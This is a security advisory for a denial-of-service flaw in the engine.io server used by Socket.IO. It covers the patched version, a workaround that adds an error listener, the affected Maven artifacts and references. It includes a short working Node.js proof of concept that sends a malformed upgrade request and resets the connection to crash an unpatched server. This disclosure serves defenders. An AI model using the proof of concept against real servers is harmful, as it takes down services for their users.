CVE-2026-137200
Socket.IO: Engine.IO DoS via unhandled upgrade error
Description
Summary
A Denial-of-Service (DoS) vulnerability exists in Engine.IO server due to unhandled socket errors when processing invalid upgrade requests. If a client sends an upgrade request to a non-Engine.IO path and disconnects abruptly (e.g., via ECONNRESET) before the destruction timeout fires, the socket emits an error event with no listener attached, causing the Node.js process to crash with an uncaught exception.
Proof of concept
import net from "node:net";
import http from "node:http";
import { Server } from "engine.io";
// Start a vulnerable Engine.IO server
const engine = new Server();
const server = http.createServer();
engine.attach(server);
server.listen(3000, () => {
console.log("Vulnerable server listening on port 3000");
// Attacker: Send an invalid upgrade request and disconnect abruptly
const socket = net.connect(3000, () => {
socket.write(
"GET / HTTP/1.1\r\n" +
"Connection: Upgrade\r\n" +
"Upgrade: websocket\r\n" +
"\r\n"
);
// Disconnect before the 1000ms timeout
setTimeout(() => socket.resetAndDestroy(), 10);
});
});
Expected Result: The server crashes with:
Unhandled 'error' event (ECONNRESET)
Patches
Fixed in:
engine.io@6.6.12(via commit https://github.com/socketio/socket.io/commit/f8e8746492f4118c7ef6a40e51f9c26fdc3ecc31)
Workarounds
In vulnerable versions, the issue can be mitigated by registering a listener for the error event:
import http from "node:http";
import { Server } from "engine.io";
const engine = new Server();
const server = http.createServer();
// WORKAROUND: Add a global "upgrade" handler to catch ALL sockets
server.on("upgrade", (req, socket, head) => {
socket.on("error", (err) => {
console.debug(`[Workaround] Upgrade error: ${err.message}`);
});
});
engine.attach(server);
server.listen(3000);
Note: This is a temporary mitigation. Upgrading to engine.io@6.6.12 and above is the recommended fix.
Credits
The vulnerability was responsibly disclosed by YuSheng Chen.
Affected Maven artifacts (2)
| Artifact | Affected versions | Fixed in |
|---|---|---|
| org.mvnpm » engine.iovia npm engine.io | < 6.6.12 | 6.6.12 |
| org.webjars.npm » engine.iovia npm engine.io | < 6.6.12 | 6.6.12 |
Blast radius
0% of the dependent artifacts (0) still pull an affected version in their latest release.
| Depth | Dependent versions |
|---|---|
| Direct | 9 |
| 2 hops | 6 |
| 3 hops | 3 |
Most used dependents
- org.webjars.npm » karma7 usages
- org.webjars.npm » browser-sync7 usages
- org.webjars.npm » socket.io5 usages
- org.webjars.npm » openlayers4 usages
- org.webjars.npm » closure-util2 usages
- org.webjars.npm » github-com-palantir-blueprint0 usages
Computed from the dependency graph of build 20261129.2353 (compile and runtime scopes, nearest version wins). Exclusions and dependency management in consuming projects are not applied, so dependents are potentially affected. When several artifacts are affected, a dependent version that pulls more than one of them is counted once per artifact.
Other ecosystems
Also affects npm (1 package) . See all on OSV
References
| Advisory | NVD CVE-2026-137200 | nvd.nist.gov |
| Package | socketio/socket.io | github.com |
| Web | socketio/socket.io advisory GHSA-v775-f652-7rv6 | github.com |
| Web | socketio/socket.io commit f8e8746 | github.com |
| Web | socketio/socket.io release engine.io@6.6.12 | github.com |
